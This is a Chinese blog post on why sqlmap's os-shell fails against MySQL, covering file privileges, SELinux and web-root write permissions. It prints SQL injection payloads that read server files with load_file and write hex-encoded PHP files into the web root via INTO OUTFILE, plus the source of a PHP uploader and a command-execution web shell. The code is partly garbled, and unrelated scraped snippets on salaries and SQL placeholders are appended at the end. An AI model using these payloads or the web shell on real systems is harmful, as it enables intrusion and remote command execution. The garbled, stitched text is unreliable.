SQL注入 為什麼拿不到os shell?

2022-06-12 01:27:10 字數 3206 閱讀 5728

首先確保注入點的資料庫連線使用者有file許可權

使用 --privileges檢視

但是就算有此許可權也還有很多問題

selinux

因為我的伺服器使用的並不是apache的預設發布目錄

所以我把selinux禁掉了

按理來說

selinux也會對這些操作有影響

mysql檔案操作許可權

首先說一下linux的檔案許可權

chmod命令用於更改檔案許可權

數字法中

0 無許可權

1 可執行

2 可寫

4 可讀

四個數字隨意組合共八種

0 無許可權

1 可執行

2 可寫

3 可執行/可寫

4 可讀

5 可執行/可讀

6 可寫/可讀

7 可執行/可寫/可讀

–file-read

引數是檔案路徑

伺服器上的mysql需要對此檔案有5許可權(執行/讀)

因為它實際執行的函式是

load_file('/data/test.txt');
mysql有對 /data/test.txt 的5許可權才可以載入

否則就算伺服器管理員使用此函式也無法讀出檔案

–file-write 和 --file-dest

這兩個是配合使用的

–file-write的引數是kali上的完整檔案路徑

–file-dest的引數是伺服器上的完整檔案路徑

伺服器上mysql需要對此檔案路徑有3許可權(可寫/可執行)

而且mysql的檔案匯出路徑不能有限制

mysql匯出路徑

它實際執行的函式是

... into outfile '/asdf/sadf/sdfa.txt'
–os-shell

mysql需要對**發布目錄有3許可權

以及檔案匯出路徑無限制

實際函式上傳了兩個php檔案,即利用tmpulujm.php上傳了乙個tmpbtfgo.php的檔案

...into outfile '/documentroot/asdaa.php'
payload

a' and 

ord(

mid((

ifnull(

cast(

hex(load_file(0x2f6879)

) as char)

,0x20)

),1,1)

)>66 and 'bhhf'='bhhf

解析

0x2f6879是伺服器上帶完整路徑的檔名

payload

a'

limit 0,1

into outfile '/hoasdf/sdaf/asdf.txt'

lines terminated by

0x50542079536557276967963653d68747

-- -

解析

0x5054…是上傳檔案的hex內容

即利用tmpulujm.php上傳了乙個tmpbtfgo.php的檔案

payload

a' 

limit 0,1

into outfile '/documentroot/tmpuvpaa.php'

lines terminated by

0x300a696627365742f524554553545b2275706c6f6164225

-- -

解析

0x300a…是上傳php檔案的hex內容

上傳的兩個php檔案內容

a       12

<?php

if (isset($_request["upload"]))

else

@chmod($dir."/".$file,0755);

echo "file uploaded";

} else

?>

<?php

$c=$_request["cmd"];

@set_time_limit(0);

@ignore_user_abort(1);

@ini_set('max_execution_time',0);

$z=@ini_get('disable_functions');

if(!empty($z))

else

$c=$c." 2>&1\n";

function f($n)

if(f('system'))

elseif(f('proc_open')

@proc_close($y);

} elseif(f('shell_exec'))

elseif(f('passthru'))

elseif(f('popen'))

} @pclose($x);

} elseif(f('exec'))

else

print "".$w."

";

?>

退出shell後兩檔案自動刪除

拿到os-shell的條件

首先你得知道**是用什麼寫的。這個倒是好說,asp/aspx/php/jsp,很容易看

**的發布目錄。這個開發環境中應該都會更改,而不會使用預設的

比如apache的/var/www/html,這裡想說一下某些php程式設計師還有可能寫完乙個很有用的檔案後忘記刪掉了,可能叫test.php什麼什麼的,內容就是一句phpinfo();

找到這個裡面會有很多有用的資訊

selinux。牛逼的管理員會詳細配置selinux,菜雞如我就只能強制關掉了,selinux會對資料庫對外的操作作限制,特別是針對這種敏感的直接對發布目錄進行的操作。

還是得好好看看selinux啊唉

執行許可權。上面有詳細說明

生產環境還會有waf等防護

為什麼你總是拿不到高薪?

小李和小王是大學同學,都是計算機專業,畢業後都進入 同一家大型軟體公司做軟體開發工作,不知不覺,他們已經在這家公司工作5年了,在一次同學聚會上,大家把酒言歡,共敘桑麻。同學多年不見,當然,少不了工作和薪資的話題,無意中,小李聽到了小王的薪資已經有3萬多,他心裡咯噔了一下,突然覺著落差好大,因為自己才...

憑什麼你拿不到好offer No 108

我知道很多小夥伴,包括現在正在快畢業的,包括已經工作了一兩年的,甚至包括已經工作了五六年的。總是感覺自己懷才不遇,很藍瘦,明明感覺自己已經拼命了,為什麼還是拿不到好 offer 但是那些整天看起來吊兒郎當的,為毛他們好像不經意間就拿到了某某名企的 specical offer 憑什麼!我他喵也很努力...

sql 為什麼佔位符可以防止sql注入

為什麼佔位可以防止sql注入,不從什麼預編譯的角度來將,直接上原始碼,下面是mysql jar包中的setstring方法。以select from user where id 語句為例,傳入1 or 1 1 如果是最後sql為select from user where id 1 or 1 1,那...